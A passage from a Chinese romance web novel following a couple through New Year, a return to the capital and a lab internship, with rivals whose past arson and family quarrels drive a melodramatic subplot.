或许是因为生病,她现在就是那股矫情劲突然上来了,就想要季白青和她一样。 见她坚持,季白青忽然想起先前给季伟买的一顶帽子还放在家里没给他,便拿了出来戴在自己的头上。 黑色雷锋帽外面裹着一层黑绒,戴在季白青头上竟然也不显得奇怪,显得人还怪清秀,果然白的人怎么打扮都好看。 温淼看了一眼,总算是心里平衡了,挽着她的手唇角翘起,高高兴兴准备出门。 季白青:“……” 鬼知道生病的人整天都在想些什么。 两人到了季家之后,堂屋炭盆里的火烧得正旺,季白青将帽子取下来给了季伟,让温淼去坐在桌边烤火,她去灶房给何香月她们帮忙。 今天做的菜要麻烦上一些,主要是还得照顾着病人的口味,季白青昨晚写了几个菜单,问过温淼的意见之后定好的。 今天何香月和季伟负责做正常吃的饭菜,季白青做的则是清淡些的口味。 没多久,温如嫣也来帮忙了。 温淼在堂屋里点着灯吃了点水果,烤了会儿火之后有些不好意思自己一个人休息,让其她人忙活,便又去了灶房。 几个人都正在忙活,她弱弱发问:“有什么要我帮忙的吗?我来烧火吧。” 何香月:“没什么,你快去休息。” 季白青拧眉:“不行,去烤你的火。” 温如嫣对上她的眼神,温声道:“乖,等着待会儿吃饭吧。” 她大病初愈,现在多多休息才是最重要的。 季白青忽然想起什么,叮嘱道:“锅里烧了水,你去柜子里把金银花找出来,放点进去,待会儿熬开了倒点喝。” 温淼只能听她的。 到了四五点的时候,所有的菜几乎都快做好了。 村里已经有人开始放鞭炮准备吃饭了,噼里啪啦一顿响,温棉棉胆儿大,还要凑到门口去看热闹。 温淼也站在门口看了会儿,等原本的声响平息了些才有些心虚地关上了门,回到了屋里。 刚才季白青还说不让她去门口吹风来着,为此,原本应该打开的大门现在都是紧紧闭上的。 桌上已经陆陆续续摆上了今晚的年夜饭,季白青将最后一道菜端上桌后,拍了拍手。 虽然大部分的菜都是清淡的,但并不影响好吃,反而清淡的菜更能够显出食材的原汁原味。 季白青将早就买好的鞭炮找出来,开了门往外一甩,点燃鞭炮后就捂着耳朵往屋里跑。 鞭炮响完之后,季家也开始吃饭了。 所有人都倒了点果酒在杯子里,只有温淼杯子里盛着的是金银花水。 不过她倒也知道自己还是个病人,没说什么,小口抿着金银花水。 季白青怕她委屈,给她夹了个蛋饺,哄人:“等以后好了再喝。” 她记得温淼还挺喜欢喝果酒的,不过两人在家喝酒的次数不多,更多的时候是喝点饮料。 温淼闻言,点了点头。 一顿饭吃完之后,已经差不多八点钟。 村里还热热闹闹的,可以听见家家户户传来的说话声。 季白青和温淼挨着坐在一起,全家人正在一起看地方台录制的文艺汇演。 里面的节目还挺多,歌舞、小品、相声都有,和后世的春晚有些相似。 何香月和看得津津有味,温如嫣也看得专注,没多久,有人来敲门拜年,不过最终的目的还是电视,最后也跟着坐下来看了,不大的屋子里挤满了人。 季白青盯着电视机看得有些无聊,慢悠悠打了个哈欠,没多久肩上压下重量,侧目一看,温淼也昏昏欲睡。 不过没多久,她又自己支起了脑袋。 季白青看着有些乐,便跟何香月和季伟说了一声,把猫留在季家,她拉着温淼回去了。 到家,让温淼先洗了澡,她让温淼吃了个药,自己也洗澡去了。 穿着睡衣回来的时候,温淼支着脑袋,阖着眼睛正在等人回来。 季白青见状,轻声一笑,上了床,和人贴在一起。 “还不睡呢?” 温淼打了个哈欠,眼角溢出零星的泪花,显然是困得不行了。 但随后她立马强迫自己清醒过来,睁开眼,在青年的脸上亲了一口。 她软声道:“阿青,新年快乐,生日快乐。” “新年快乐。”季白青弯起眼睛,凑过去亲在她的鼻尖,轻声哄着人,“祝福我已经听到了,你快睡。” 人很快睡着了,季白青帮着人掖了掖被角,这才从枕头下拿出和温淼在一起之后每年都会收到的红包。 红包里放了厚厚的一沓钱,她拿出来的时候,一张纸条也随之飘落,上面写着清隽劲瘦的英文。 她看出其中蕴藏的绵绵情意,将纸条缓缓贴在胸口。 这是温淼用她喜欢的语言为她写下的情书。 她下了床,坐在了桌边将中文填上,又看了好一会儿,最后才小心翼翼地收进了钱夹。 又过了几天,温淼的病已经好完全了。 她们都是在三月开学,但是商量了一下,都打算早一些回去。 温淼的翻译书籍的翻译进程在云水村进度缓慢,关联的出版社一共给了一年的时间,但温淼除了翻译之外还需要查找资料,再自己校对一遍。 如果进程一直这么慢的话,那她最后得延长交稿时间。 她一向守时,并不希望拖到这个地步。 此外,季白青那边,于景的实验室本就因为过年缺少人手,她回去还能去帮帮忙,顺带多学点技能,方便之后用。 两人询问了温向荣的意见之后,最后还是没有和她一起回去。 等到三月的时候,温向荣自己坐火车回去。 她在大事上也一向细致,季白青她们也并不担心,在大年初六那天就买了票回京市了- 知青点的关系一向不太和谐,但过年向来都是团聚的时候,她们都没有个亲人在身边,在过年这几天自然就暂时把以前的隔阂忘记了。 大年初六,知青点的知青一起吃了一顿称得上和谐的晚饭,一吃完,沈念念和陆延撂下碗筷,出了门。 找了个隐蔽的地方,陆延抱着沈念念好好亲了一会儿,手探进她的衣服里。 沈念念用力将人推开,黑暗中她的脸上有些不耐烦,不过被浓黑的夜色模糊。 她干脆问道:“你之前不是说有办法让我回去吗?现在到底还要多久?” 陆延这段时间每天都听着她问这话,心里也有些烦躁。 “我怎么知道?” 原本他对此还有些把握,但是两人扯证之前给陆老爷子寄了信要钱之后,陆有德不止没有给他寄钱回来,还写了一封信把他大骂了一顿。 后来还是过了几天,沈念念身上的钱被花了大半,他被人磨得实在是受不了,又写了一封信寄去京市,陆老爷子这才抠抠搜搜地给他寄了两百。 沈念念见到了钱,又闹着说她没有自行车,陆延只能带着她去买一辆,买完自行车后还剩下的几十块钱,凑活着她们用。 听他的语气敷衍,沈念念的内心越发不安,有些焦躁地在原地转了几圈,幽幽道:“你该不会是不想带我回去吧?” “我告诉你,陆延,你想都别想,我们扯了证的,你把我丢在这让别人怎么想?你要是敢这样,我就写举报信举报你们一家。” 陆延听她这么说,一时间有些头疼,开始后悔先前为了不让沈念念如愿,诱惑她将两人捆在一起。 回了京市之后,他想要什么样的没有! 但到底还是念着这段时间她的好,陆延勉强耐心下来,宽慰道:“你放心吧,今年过年我都没有请探亲假回去,不就是为了在这里陪你吗?如果能把你弄回去我肯定把你弄回去,但问题是现在爷爷还气在心头,总要等他消了气再说。” 陆延有自信,他听了陆有德的话,烧死了温向荣,这才被判了两年。 所以陆有德不会将他放任不管的。 回去只是时间问题。 他看着偏过头去不肯看他的沈念念有些烦,啧了一声,道:“上次你不是说要去供销社买新衣服吗?除夕那天爷爷给我寄了钱,我带你去买,这下总行了吧?” 沈念念闻言,两眼放光:“真的吗?” 见人应下之后,沈念念的心情好了些,挽着陆延娇声娇气撒娇:“陆延哥,你真好。” 第二天一早,陆延被沈念念叫起床,两人骑着自行车去镇上。 看着长途客车从她们身边过去,陆延骑着车有些无语:“为什么我们不坐长途客车?” 又冷风又大,他一张嘴就被灌了一肚子风。 沈念念在缩着脖子,小声道:“那这不是为了省钱。” 说完,她将脸贴在了陆延的后背。 陆延被冻得手红鼻子红,黑着一张脸。 合着为了省钱,冻的是他。 好不容易到了镇上,两人往供销社走。 到了二楼的成衣区,沈念念将所有的外套都看了一遍之后,还是有些不满意。 她没看到像是温淼穿的那么好看的衣服,而且这些衣服的颜色她也不太满意。 她最后从一边拿起了一件红色的外套,问:“陆延哥,这件衣服怎么样?” 陆延盯着看了眼,随手指了指另外一边黑色的外套:“红色不适合你,衬得你更黑了,而且这个不是没有你的尺码?你试试黑色的呗。” 沈念念被他说得脸一黑,最后还是买了那件红色的。 陆延看着皮鞋,也有些感兴趣,让售货员帮他取了两双试试。 上脚之后,他觉得自己颇为器宇轩昂,扭头问沈念念:“怎么样?” 沈念念一笑:“你不适合穿皮鞋,买双凉鞋下地的时候穿吧。” 见陆延的脸色也黑了下来,沈念念心情才微微好上一些,被沈念念说得最后陆延什么都没买。 两人出了供销社,就准备回去。 在等着陆延解锁的时间,沈念念往后看了眼,看到一个熟悉的人后有些羡慕。 “她命可真好,在村里住腻了还能回城里。” 陆延抬起头,有些奇怪地看向沈念念问:“在说谁呢?” 沈念念指着不远处的老太太道:“她啊,何香月的亲戚,何荣。” 陆延顺着她手所指的方向看过去,在看清楚了人的脸之后,瞳孔瞬间扩大。 那人不是温向荣吗?!她不是被烧死了吗?为什么还活着! 【作者有话说】 我要努力更新!就快完结咯!!!大概半个月时间 感谢投雷营养液,感谢评论订阅收藏 最近晋江新活动的那个头像框真好看,想要qwq 126 第126章 ◎不想开学◎ 温向荣被人盯着,出于职业的敏感,自然敏锐地察觉到了别人落在自己身上的眼神,却不想惹麻烦,没有回过头去,只是加快了回去的脚步。 见着人彻底在视线范围内消失,陆延不知道是不是自己看错了,但却没有追上去确认她到底是不是温向荣的勇气。 他瞬间抓住了沈念念的手,将她的手腕扣紧,抓得她生疼。 男人的声音紧绷着,眼睛紧紧盯着人消失的地方,只能够向她确认道:“你再说一句,这到底是谁?” 沈念念被他抓得手腕生痛,一张小脸皱起,她忍了一会儿后将人甩开。 “你发什么病!我不是说了吗,是何荣!一个老太太而已,你这么大惊小怪,难不成还能是看上她了?” 听了这话,陆延整个人的面色微微放松了几分,但还是直勾勾地看着沈念念。 沈念念被他有些渗人的眼神看的心里发怵,她摸了摸胳膊上起的鸡皮疙瘩道:“你这么看着我干什么?” 陆延深深地吸了一口气,强迫自己冷静下来。 他问沈念念:“你怎么认识刚才那个人?我不在的时候发生了什么事?” 沈念念如实回答道:“刚才那个人是何香月的亲戚,来我们村里住过一段时间,不过在你回来的前一段时间就搬回镇上来了。” 这人果然还是和季家有关! 陆延的手紧紧攥在一起,最后低吼一声,一拳砸到了一边的墙上,指*骨处的皮肤被磨破,渗出了血迹。 沈念念被他这副狂暴的模样吓了一跳,往后退了一步,怯怯问道:“你到底是怎么了?今天怎么变得这么奇怪,那人有什么问题吗?” 陆延低头看着地面,眼神幽暗。 他能对沈念念解释什么?难道要说他放火将温向荣烧死,结果人没有烧死,他却入狱坐了两年的牢吗? 这个消息传出去让别人听到,会让众人笑掉大牙。 更不要说,如果陆老爷子听到了这个消息…… 陆延不敢想温向荣没有死的消息让陆有德听到之后他会是什么反应。 那陆有德肯定不会想办法把他弄回去的,他才不想一辈子都搭在这鸟不拉屎的地方。 几分钟的沉默时间,陆延将其中利害分析清楚。 他安慰自己,即使是温向荣现在还活着又怎么样,她现在还在溪宁镇,也只会在溪宁镇苟且一辈子,就算是为了逃避她黑五类的身份,也绝对不敢再回京市。 只要她不回京市,陆有德就永远不会知道温向荣没有死的真相。 更何况,刚才的人只是看着和温向荣有些相似罢了,全国这么多人,长得相似的人数不胜数,怎么可能这么凑巧就是温向荣。 一切都是巧合,肯定是他想多了。 温向荣早就在他放的那一场火中被烧死了,就连尸体都没了,不可能还活着。 陆延在心里将这句话念了三四遍,最后原本狂跳的心终于安静下来。 他抬起头,忽略掉沈念念有些惊恐的脸色,对她露出一抹温柔又诡异的笑,对她柔声道:“念念,我们快回去吧,就当刚才我们什么都没看到。” 见沈念念不说话,陆延盯着她,幽幽问:“听到了吗?” 沈念念缩着脖子,点了点头。 见状,陆延才满意下来。 回了知青点之后,见陆延的神色逐渐正常起来,沈念念才松了一口气,就连衣服都来不及炫耀,她坐下来倒了杯水压压惊,一时间忘记了刚才陆延的话,开口道:“刚才在镇上遇上了何荣,她命可真好,可以在镇上过得那么滋润。” 闻言,一边的潘红霞手上的动作一顿,下意识看了眼陆延。 她们见到了温向荣?那陆延怎么看起来那么平静?难道是没认出来人的真实身份么。 陆延没有说话,不过是淡淡看了沈念念一眼,沈念念察觉到他眼神中的警告,身体一僵,意识到了自己多嘴了,她不敢再多说什么,立马站起身灰溜溜地回了房间。 她也不知道陆延到底在想什么,跟得了失心疯似的。 又过了几天,出了正月十五,方宁她们从镇上回来之后,一脸激动地开口宣布道:“念念,你们猜我们在镇上都听到了什么好消息!” 沈念念抬起头,有些兴致寥寥地看向她们,没有说话。 没有人捧场方宁也丝毫不在意,她弯起眼睛,笑着道:“我听到有其它村的知青说,可以申请回城了,无论是什么理由,只要听起来合理,就能被通过!” “我们只要申请通过了,就都可以回去了!” 闻言,看着众人面上狂喜的神色,沈念念第一时间却愣住了,心里隐隐觉得有些不乐意。 都可以回去了? 既然现在每个人只要提交回城申请都可以回去,那她为了回城,嫁给陆延这件事不就是个笑话吗?! 不过陆延听了这话也是喜悦的,他扭头看向沈念念,见她脸色难看,奇怪问道:“念念,你不高兴吗?” 原本最近政策宽松了,他被调回去很容易。 到底是还是想着要把沈念念一起带回去,而那边陆老爷子还在气他一声招呼都不打就结婚的事,陆延原本以为只能等他气消了两人才能回京市。 但刚才所听到的消息代表着她们回去的时间可以提前了。 不过他没在沈念念的脸上看到什么高兴之意。 沈念念扯了扯唇,语气僵硬解释道:“没有,就是事情太突然了,我一时间还没有反应过来。” 陆延盯着她,一时间也猜到了几分她心里的想法,面上的笑意淡了些。 他冷淡道:“你别觉得你这样就吃亏,早点回去不好吗?我们陆家难道还进不了你的眼?” 听出来他话里透露出来的不悦,沈念念脸色一僵,也知道了自己刚才的失态让男人心生不满了。 现在两人领证结婚这件事已经成了定局,无论如何都改变不了,沈念念现在只能够将自己的心态调整好,不能再让陆延对自己生出更大的成见了。 她挤出一个甜笑,上前轻轻挽住了陆延的胳膊,笑道:“陆延哥,我不是这个意思,你是不是理解错了,我只是觉得太突然了,还没有做好去见你母父和爷爷的准备,你说爷爷会不会不喜欢我?” 陆延毫不客气:“当然会。” 沈念念没有家世背景,也就一张脸好看一些,但这过不了陆有德那关。 闻言,沈念念的脸色一僵,险些想要撂挑子走人了。 但是想到了回到京市后能在陆家过上的富贵日子,她咬着牙勉强将心里的不情愿吞下。 她笑盈盈哄人:“那我们先去写个申请,然后去镇上多买点溪宁镇的特产带回去怎么样?爷爷喜欢什么?我看着多准备点礼物。” 陆延被她顺着毛似的轻声哄着,内心的脾气也好了不少。 他道:“我们陆家什么东西没有,什么都不用准备,你等着他看你看习惯了就好了。” 沈念念闻言耸了耸肩,也没有意见。 不用她花钱更好。 说着,陆延也没有继续和沈念念聊下去的打算,一句话打断两人之间的话题。 “好了,我们都去写申请吧,到时候还得让李向东那个傻缺同意。” 要他同意,又要好一阵磨。 方宁的消息一出,知青点所有知青的回乡申请都陆陆续续地交到了李向东那。 先前上面早就下发了相关的政策,生产大队开会的时候还叫每个村的干部都去听通知了,知青申请回城可以酌情同意。 但李向东没有直接给她们通过,还是等着每个人都给自己塞了钱或是送了礼才签了字,同意她们回去。 李雯雯劝他别这样干他也丝毫没有听进去,只顾着美滋滋地数着这段时间收到的钱和礼- 回了京市之后,季白青和温淼一起去给温知意、温皎皎两家拜了年后,便陆续开始忙活着自己的事情。 温淼在家将着手准备翻译的事,每天上午都抽时间去市图书馆里查阅相关的资料,剩下的时间就窝在家里一页一页地做翻译和校对。 季白青也没休息多久,很快进了于景的实验室,由于春节假期里,实验室里缺人手,季白青的专业基础又打得牢,还有半年的经验,于景便让她在一边一手协助。 这次的研究主要目的是开发以丙烯酸酯为基础的压敏胶,这是今年开年于景所带领的实验室接到的国家直接下达的第一例指定任务。 这次的研究无论是研究周期还是开发的时间都比以往的要更长,难度更大,所费的心力也更多,但是与此同时,国家拨款也不少,落在实验室里每个人身上的工资也高,像是于景这样的高级技术人员,一个月能有三百多的工资的工资,但像是季白青这种没有职称在身的实验室实习生就只有五十左右。 但于景倒是建议她在实验室实习满了一年之后去考一个职称,虽然大学生不能直接考,但于景有认识的评定专家,可以给她行方便。 职称上去之后,工资也能够多起来。 毕竟季白青也在实验室给于景打了大半年的下手,她是什么水平于景对此了解的一清二楚。 季白青现在的能力比一般的中级技术人员都要高。 听了她的建议之后,季白青每天除了泡在实验室,剩下的时间便是捧着相关的专业书研读,争取一次就评上职称。 本次研究的前期准备工作比较繁琐,主要由于景带着季白青主导,安排协调剩下的人干活,两人一起处理最为核心的数据,毕竟于景是季白青的老师,又喜欢季白青身上那股子倔强不服输的劲儿,想着多教她一些。 实验室里只有七八个人,剩下的一半需要过了年才能够回来。 不过于景对研究的时间安排并不苛刻,上班时间是早九晚五,实验室离家里有二十多分钟公交车的距离,季白青便每天都回家吃饭。 季白青和温淼妻妻两个人都忙碌起来,但还是温淼要清闲一些,负责在家做做饭的,但某一次,她在图书馆查资料的时候太过投入,回去的时候,已经一点了,而季白青实验室下午上班的时间在两点。 季白青正在颇为心酸地啃着馒头,见她回来之后,开口问她吃饭没。 温淼摇了摇头,走过去接过她递给自己的馒头,有些愧疚道:“对不起,我忘记回来做饭了。” 季白青摇摇头,“没事,我们都太忙了。” 她沉吟一会儿,给出了建议:“老婆,我们请个阿姨来家里帮忙收拾和做饭吧。” 其实季白青也不是第一次冒出这个想法。 她所了解到的不少干部家庭都请了保姆,想着她们也确实是忙到了一定程度,所以请个保姆来家里负责家务倒也不出格。 她说完之后,将最后一口馒头艰难咽下。 这馒头放了一天,还挺硬。 她看着温淼:“怎么样?” 温淼也仔细想了想:“可以。” 请阿姨一个月的工资也就十五二十块钱,她们还是能够出得起的。 她想了想,“我去打电话问问姑姑军区家属院有没有想要干这一份活的军嫂。” 因为温知意和温向荣都是军人,温淼对军人这一职业一直持有天然的好感,也希望这份工作能够为来随军的军人家属提供一个工作机会。 季白青闻言点了点头,“那我现在就给姑姑打个电话。” 她喝了口水,顺手给温淼倒了杯。 “这馒头有些噎人,你吃慢点。” 那边给温知意打了电话后,温知意应下,说晚点派人去问问。 两人等着消息就行。 不过两天时间,温知意帮忙找的保姆就上岗了。 新来的保姆叫陈晴,是个三十多岁的女同志,整个人收拾得干净利索,说话也斯斯文文,话少,有些内向,但是家务做得很好,每天将家里打扫得纤尘不染,巧的是她也是潇南人,能够做得一手好菜,无论是辣口还是甜口都擅长,完全符合妻妻两人的口味。 她们商量好在放假的时间,一个月给陈晴二十块钱的工资,还包吃包住,在上学的时间是十块,她们不在家的日子不需要收拾家务,只要周末那天来帮忙收拾,再送个饭就行了。 陈晴很感激她们给了自己工作机会,更何况两个女同志的性格也温和,需要干的活儿也不多,她牟足了劲,每天的工作干得尽心尽力。 有了保姆在家帮着干活之后,季白青和温淼身上的活儿少了一部分,轻松了不少,至少再也不会发生在饭点吃不上一口热饭这种情况了。 一整个二月过去之后,很快又到了学校开学的日子。 于景给了实验室里的学生一天的假,让她们准备好开学的东西。 知道季白青放假之后,温淼也难得让自己有一天的休息时间,两人很久没有一起出去过,便打算去供销社将缺的东西买齐。 到了供销社之后,挑挑拣拣之下,季白青买了几本笔记本和一支钢笔,又给温淼挑了点文具,将家里少的调料也买上了,两人将东西拿齐,正准备去柜台结账,忽然被人叫住。 “季白青、温淼,好巧啊,在这里遇到你们。” 季白青闻言,和温淼一起扭头往后看了一眼。 见着手挽手出现在她们身后的陆延和沈念念,季白青饶有兴致地挑了挑眉。 “哟,你们是怎么回来的?不会是逃回来的吧?逃避下乡劳动还敢叫我们,不怕我们把你们给举报了?” 虽然她知道今年是知青回城热,沈念念她们回来肯定是经过了同意批准的,但季白青还就是要这么刺她们这么一句。 不为其它,只是看着两人脸上便秘似的表情她就高兴。 闻言,陆延的脸色果然一黑。 尤其是发现供销社里还有其她人的视线隐隐往她们身上落的时候,他一时间有些后悔在人这么多的地方叫住她们。 “我们才不是逃跑回来的,是按照正常程序回来的!” 这女人就是存心想要给她们难堪,他提高声音解释道。 季白青听了他的解释之后,意味深长地哦了一声,看起来不像是相信了。 陆延黑着脸看着她:“你们都买了些什么,拿了这么多东西,你个乡下人付了钱之后还有钱用吗?” 温淼闻言,笑盈盈道:“没有了,所以你帮我们付吗?你们陆家不会缺这么点钱花吧?” 听了她所说的话,在陆延身边小媳妇似的沈念念警惕地拉紧了陆延的手,小声道:“陆延哥,今天不是说带我来买东西的吗?我们现在先去挑吧,别待会儿想要的东西都被买走了。” 陆延摆了摆手,“你去挑。” 他不屑地对温淼道:“你们这点东西能花多少钱,我们陆家可不缺钱,帮你们付就付了。” 陆延一时间有些得意,两个人现在混得再好又怎么样,还不是没钱,现在得求着他付钱。 沈念念听了这话,更不可能走了,她怕陆延和这两个人一起待着会出现什么意外。 于是撒娇似地晃了晃陆延的手:“陆延哥,陪我一起去看看吧。” 季白青也在一边笑眯眯道:“对啊,你们一起去挑吧,我们可以等着你们付款的。” 陆延还是第一次听季白青用这么舒缓的语气同他说话,一时间心里舒爽,便矜傲地点了点头。 他大发慈悲似的开口:“那你们就先在这等着吧。” 说着,他就带着沈念念去挑着要买的东西去了。 从溪宁镇回到京市的时候,陆母和陆父见到了陆延之后简直要痛哭流涕,尤其见他瘦了这么多,整个人看起来还阴郁了不少,都心疼坏了,陆父一言不发,瞒着陆有德直接给他拿了五百块钱。 手里的钱还没焐热,他就被沈念念拉着来了供销社。 挑东西的时候沈念念小声劝道:“陆延哥,这都是我们的钱,别给她们付钱。” 陆延有些不耐烦:“都答应了,现在又反悔,难道你让我被她们笑话吗?而且这是我的钱,我想怎么花怎么花。” 陆延才不会给季白青她们笑话自己的机会。 沈念念抿了抿唇,知道自己劝不动,不再说话了。 见着人离开后,季白青拎着东西又和温淼一起倒回去看了一遍,将能用上的东西都拿上了。 等到陆延她们拎着大包小包回到结账的柜台边的时候,看着季白青她们手上拿着的那么多的东西,唇角的笑意微微凝滞。 沈念念尖叫道:“你们拿这么多东西?!” 刚才看起来还没有这么多的。 温淼有些诧异地看了一眼陆延:“难道陆家付不起这么点钱,原来陆家也不过如此。” 她扯了扯季白青的衣袖:“阿青,我们还是自己付钱吧,陆延刚才不过是好面子才说出那种话的。” 季白青收敛了唇角的笑,点头。 听了两人这一番话,隐隐觉得自己被看不起的陆延瞬间被激起了好强心。 他道:“怎么可能付不起!一起付。” “售货员,把我们的东西一起结算一下。”他对售货员开口。 售货员点了点头,将东西的价格都算了一遍,四个人一起买的东西零零散散的有不少,一时间都算不清楚。 花了五六分钟这才将总额算了出来,售货员道:“这里一起是二百五十块钱。” 听了这个数字,季白青险些没有憋住笑。 她轻轻咳了两声,用眼神示意陆延付钱。 陆延的手微微发抖,从兜里掏出来二十五张大团结。 等着售货员清点的事件,季白青和温淼提着自己的东西,对她们笑着开口: “感谢陆知青给我们买单啊,我们还有事呢,就不多留了。” 说着,妻妻两人在陆延和沈念念的注视之下扬长而去。 沈念念看了眼陆延难看的脸色,扯了扯唇。 她都不想多说,反正她自己劝也劝不动,这个蠢货就这样掉入别人简简单单的激将法之中了,也不知道陆家家大业大,还有个阴险狡诈的陆老爷子,是怎么培养出陆延这个傻子的。 在陆延付完钱后,沈念念对他扬起一个纯美的笑容:“陆延哥,我们回去吧,你可真好~” 听着女人的软语,陆延心里的不痛快好了一些。 但很快就又被打破。 刚和沈念念回到了陆家,陆母就一脸担心地对他开口道:“延延,你爷爷回来了,叫你和念念一起去书房一趟。” 闻言,陆延眉头一皱,内心深处有些抗拒去见他。 见了陆有德,他少不了要被教训一顿。 他不情愿道:“妈,可以不去吗?不然我出去再躲几天。” 陆母拍拍他的肩膀,哄着他:“好了,乖,去和你爷爷多说点好话,你可是未来陆家的继承人,不要耍小孩子脾气,别跟爷爷置气。” 陆延和沈念念一起往书房走,沈念念紧张得手都出汗。 她回来两三天,知道陆母和陆父都对她有所不满,但是有陆延护着她,倒是还好。 而陆有德是一家之主,沈念念担心他对自己不满意,然后逼陆延和自己离婚。 回了京市之后,沈家她回去过一次,已经没有她可以容身的位置了,所以沈念念不可能再回去了,她必须得抓住一切机会留在陆家。 进了书房之后,一眼就看到了端坐在书桌前的陆老爷子,他此时正在慢悠悠地喝着茶,听见了有人进来的动静,也没有要抬眼的意思。 陆延拉着沈念念站在书桌前,叫人:“爷爷。” 沈念念也跟着叫了一声。 等陆有德终于喝完了一杯茶,这才抬起头来看着陆延,眉头紧锁,不怒自威。 他呵斥道:“你给我去跪祠堂去!看看你带回来个什么人。” 沈念念闻言,脸色有些难看。 老不死的东西,狗眼看人低,她在心里暗骂。 陆延知道陆有德生气了,没法蒙混过关,他看了眼沈念念,决定拉个垫背的:“爷爷,念念是我媳妇,也和我一起去吧。” 陆有德额角的青筋暴起:“她算个什么东西!不是我们陆家的人有什么资格去!陆霁都去不了祠堂,你还带她去?” 将人训了一顿之后,陆有德看向沈念念,意味深长道:“沈同志,我们陆家对陆延媳妇的要求还挺高的。” 沈念念掐着手心才忍住了没有骂回去,微笑道:“是吗?我觉得我我和陆延刚好天生一对,感谢爷爷你对我的认可。” 陆延在一边听得也有些佩服沈念念,竟然敢对陆有德这么说话。 下一秒,一盏茶杯就被丢了出去,一下落在了沈念念的额角,磕出来一道血痕。 陆延还没来得及躲,额头上也猝不及防鼓起来一个包。 陆有德胸口起伏:“滚出去!” 沈念念扯着陆延毫不犹豫地转身离开,她长这么大,还没被几个人打过,这个死老头子倒好,一下子把她打破相了。 出了书房之后,沈念念对陆延抱怨道:“你爷爷这人怎么这样?” “你还去跪祠堂吗?” 陆延看了眼沈念念,最后神使鬼差地摇了摇头。 “不跪了,我们去国营饭店吃饭吧。” 说着,她们不顾陆母在一边心急的劝阻,刚要推开门准备出去,陆家大门却被先一步推开。 陆延定睛一看,才看清开门的人是这几天都没见到的陆霁。 陆霁见到了他,面无表情看了他一眼,往一边让开了路。 陆延却拉着沈念念不走了,上下打量陆霁一番。 “你现在怎么知道回来了?我还以为是你不敢回来,怕看到我呢。” “知道我回来了,你这头上的陆家继承人的名号保不住了,所以着急了?” 陆霁掀起眼皮看了他一眼:“和你又有什么关系。” 忽然想到什么,陆霁勾唇一笑,凑到他耳边,用只有两个人能听见的声音轻声道:“对了,你现在最重要的是想想温向荣没死你该怎么和老爷子交代吧。” 闻言,陆延的瞳孔骤缩,声音提高:“这都是你设计的?!” 他的手握成了拳头,立马就要砸到陆霁的脸上。 忽然响起了一声尖叫,自然不是陆霁的,一边看着的陆母她道:“延延,你怎么能打你姐姐呢!” 被人扯着往后退了几步的陆霁跌入李从瑾的怀里,随后立马站稳了身体。 李从瑾懒懒地搭上了陆霁的肩膀,唇角勾起看向陆延。 “你就是陆延,果然是百闻不如一见。” “看起来和听说的一样蠢。” 陆延的胸口剧烈起伏,指着她怒道:“你!你又是什么人!” 李从瑾眼睛微弯,里面却不带多少温度。 “你可以管我叫嫂嫂。” “不过,你叫我嫂嫂也不代表你可以欺负我女朋友。” 话音刚落,李从瑾一脚踹在陆延的小腹,用了十成的力道,将人踹倒在地。 她施施然收回了脚,笑着对陆霁道:“不是说回去拿东西吗?去吧,我在外面等你。” 一边的陆母白着脸,连忙将陆延扶了起来,此时陆霁竟然喜欢女人的消息都被她抛在了脑后,她一脸不赞同地看着陆霁道: “你怎么能联合外人打你弟弟呢?” 感受到肩上的手一僵,陆霁的心一软,主动握住了她的手揉了揉,以作安慰。 她看向陆母,有些疑惑地发问:“刚才陆延不也是要打我?你没看到吗?” 陆母脸色一僵,讷讷道:“那不是没打到吗?” 李从瑾将唇角压平,淡淡道:“原来还有这么个说法,那你们陆家的规矩还挺大。” 她侧目看向陆霁问:“你要拿什么?别拿了,我给你买新的。” 陆霁闻言,沉默一会儿,最后轻轻点头。 这样的家待下去也没意思。 她和李从瑾转身离开- 季白青和温淼在坑了陆延一笔钱之后心满意足地回了家,将买回来的东西都摆放好。 眼见着快到了三月,在三月二十多号□□会颁布有关的英雄模范奖章和军功奖章,这是对军人来说的又一项荣誉,名单里大概也会有陆有德的名字。 季白青和温淼在下午的时候去了一趟军区家属院,将温知意搜集到的举报陆有德的资料拿了回去,随后上交了纪|委。 平反需要的调查时间更久,温向荣的平反资料早在年前就交了上去,温知意托人询问了一番,再有半个多月也能够出结果了。 她们该做的都做了,只要等着最后出结果就行。 开学之后,妻妻俩又有一段时间不能见面。 将事情都做好之后,温淼和季白青回了房间亲昵。 两人挨着坐在沙发上,见人好像有些不大高兴,季白青捏着她的脸颊左右端详了一番,笑着问:“怎么看起来好像很不高兴?” 温淼摆脱她的手,将脸抵在季白青的肩头,声音有点闷。 “不想开学。” 她难得产生了一点厌学情绪,开学之后,两个人又该很长时间见不到面了。 寒假的时间虽然也不是每天都腻歪在一起,可至少每天晚上都还能够抱着一起睡。 闻言,季白青的眼神软和下来,手放在她的肩上揉了揉,轻声道:“没事,再有几年就毕业了,到时候工作了肯定不会这么忙了,而且不是还有假期吗?一空下来我就去看你好不好?” 她也不舍得和温淼分开,但总不能两个人一起因为开学抱头痛哭,只能开口哄人。 温淼摇了摇头,冷静了几分。 “算了,你照顾好你自己,不要又像是上个学期那样突然生病吓我一跳就好了。” “忙可以理解,但是不能忙到连身体都不管了。” 季白青点头,温声到:“知道了,以前的错误以后不会再犯了。” 温淼抬起头,看着她,澄澈的眼眸明亮,里面盛满蜜色的琥珀,看得人心里直发软。 她撒娇:“亲一下。” 季白青低头,一口亲在她的唇边,还没等她离开,女人就将她的肩膀按住,脸微微侧了过去,双唇触碰之下,青年都还没来得及反应,就被人用灵活的舌描绘一圈唇瓣,随后被撬开了唇齿,与她舌尖勾缠。 女人身上所特有的香气变得浓郁几分,在空气中盈盈扩散开。 季白青微微阖着眼,任由温淼亲着自己。 两人的身体不断靠近,不知道从什么时候开始,变成了温淼跨坐在季白青腿上的姿势。 女人的唇瓣是柔软的,两人柔软的身体贴合在一起,温淼每一次溢出来的娇气的嘤咛声都被青年吞吃进去。 亲到最后,感觉到她累了,季白青才微微往后退,看人趴伏在自己的胸口。 她失笑:“亲这么会儿就不行了?” 温淼不说话,隔着衣服,一下咬在了她的身前。 季白青眉微微皱起,捏着她的下巴,抬起她的脸,报复性的一下咬在女人的鼻尖上。 看着温淼皱起一张脸蛋,她捏捏对方脸上莹白的软肉:“叫你咬我。” 她咬得还没有温淼重,低头一看胸口的衣服上还带了点被润湿的痕迹。 将衣领往下拨了拨,软白上方印着一个浅浅的牙印,牙印周围有些发红。 温淼看着有些心虚,悄悄挪开了视线,随后想到了什么,立马扭头理直气壮道:“我都是跟你学的。” 